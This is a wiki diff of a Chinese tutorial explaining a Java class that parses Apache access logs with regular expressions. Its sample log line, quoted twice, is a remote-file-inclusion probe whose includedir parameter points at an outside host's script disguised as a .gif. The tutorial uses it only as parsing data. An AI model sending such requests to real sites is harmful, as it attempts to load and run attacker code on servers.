Changes between Version 7 and Version 8 of LogParser


Ignore:
Timestamp:
Jul 4, 2008, 5:32:39 PM (16 years ago)
Author:
waue
Comment:

--

Legend:

Unmodified
Added
Removed
Modified
  • LogParser

    v7 v8  
    1414{{{
    1515ex:  ::1 - - [29/Jun/2008:07:35:15 +0800] "GET / HTTP/1.0" 200 729 "...
     16
    1617}}}
    1718= 結果 =
     
    6667
    6768 = LogParser.java =
     69這個java檔的任務是分析log檔案中的每行資訊
     70
    6871{{{
    6972  private static Pattern p = Pattern
     
    7174                  " ([^ ]*) ([^ ]*) \"([^\"]*)\" \"([^\"]*)\".*");
    7275}}}
    73 
     76首先先宣告產生一個物件  [http://java.sun.com/javase/6/docs/api/java/util/regex/Pattern.html java.util.regex.Pattern]
     77這個類別沒有建構子,因此宣告出來之後用compile(String regex)敘述來建立滿足正規表示式的物件,功能說明:[[br]]
     78     Compiles the given regular expression into a pattern.[[br]]
     79將正規表示式的字串當引數輸入之後,就可以得到一個p的Pattern物件,而此正規表示式:[[br]]
     80'''([^ ]*) ([^ ]*) ([^ ]*) \\[([^]]*)\\] \"([^\"]*)\" ([^ ]*) ([^ ]*) \"([^\"]*)\" \"([^\"]*)\".*''' [[br]]
     81對應到的apache log格式為:[[br]]
     82'''217.160.136.128 - - [30/Jun/2008:20:50:04 +0800] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://64.15.76.197/modules/1.gif?/ HTTP/1.1" 404 332 "-" "Morfeus Scanner"'''[[br]]
     83在此可以把Pattern 當成是一個雛型類別,用compiler(表示式) 則告知了 以"表示式"為規則產生一個p的模板出來
     84----------------------------
    7485{{{
    7586  public LogParser(String line) throws ParseException, Exception{
     
    93104  }
    94105}}}
     106接著定義建構子,宣告了一個 [http://java.sun.com/javase/6/docs/api/java/util/regex/Matcher.html java.util.regex.Matcher] 此物件可以用來與之前的 Pattern搭配。[[br]] 剛剛宣告的模板p有個函數 matcher(String) ,此功能會將材料(String敘述 )壓印成模板的形狀,並把這個壓出物件叫做matcher。 之後要取用matcher的第n段,只要用matcher.group(n)就可以把第n段的內容以String的形式取回。[[br]]
     107回頭對照傳近來的內容
     108 || 1 || 2 || 3 || 4 || 5 || 6 || 7 ||
     109 || 217.160.136.128 || - || - || [30/Jun/2008:20:50:04 +0800] || "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://64.15.76.197/modules/1.gif?/ HTTP/1.1" 404 332 " || - || " "Morfeus Scanner" ||
     110
     111[[br]]
    95112
    96113{{{
    97114  public static boolean isIpAddress(String inputString) {
    98 
    99115    StringTokenizer tokenizer = new StringTokenizer(inputString, ".");
    100 
    101116    if (tokenizer.countTokens() != 4) {
    102 
    103117      return false;
    104 
    105118    }
    106 }}}
    107 {{{
    108119    try {
    109 
    110120      for (int i = 0; i < 4; i++) {
    111 
    112121        String t = tokenizer.nextToken();
    113 
    114122        int chunk = Integer.parseInt(t);
    115 
    116123        if ((chunk & 255) != chunk) {
    117 
    118124          return false;
    119 
    120125        }
    121 
    122126      }
    123 
    124127    } catch (NumberFormatException e) {
    125 
    126128      return false;
    127 
    128129    }
    129 
    130130    if (inputString.indexOf("..") >= 0) {
    131 
    132131      return false;
    133 
    134132    }
    135 
    136133    return true;
    137 
    138134  }
    139 
    140   public String getIp() {
    141 
    142     return ip;
    143 
    144   }
    145 
    146   public String getProtocol() {
    147 
    148     return protocol;
    149 
    150   }
    151 
    152   public String getMethod() {
    153 
    154     return method;
    155 
    156   }
    157 
    158   public String getUrl() {
    159 
    160     return url;
    161 
    162   }
    163 
    164   public String getCode() {
    165 
    166     return code;
    167 
    168   }
    169 
    170   public String getByteSize() {
    171 
    172     return byteSize;
    173 
    174   }
    175 
    176   public String getReferrer() {
    177 
    178     return referrer;
    179 
    180   }
    181 
    182   public String getAgent() {
    183 
    184     return agent;
    185 
    186   }
    187 
    188   public long getTimestamp() {
    189 
    190     return timestamp;
    191 
    192   }
    193 
    194135}
    195136}}}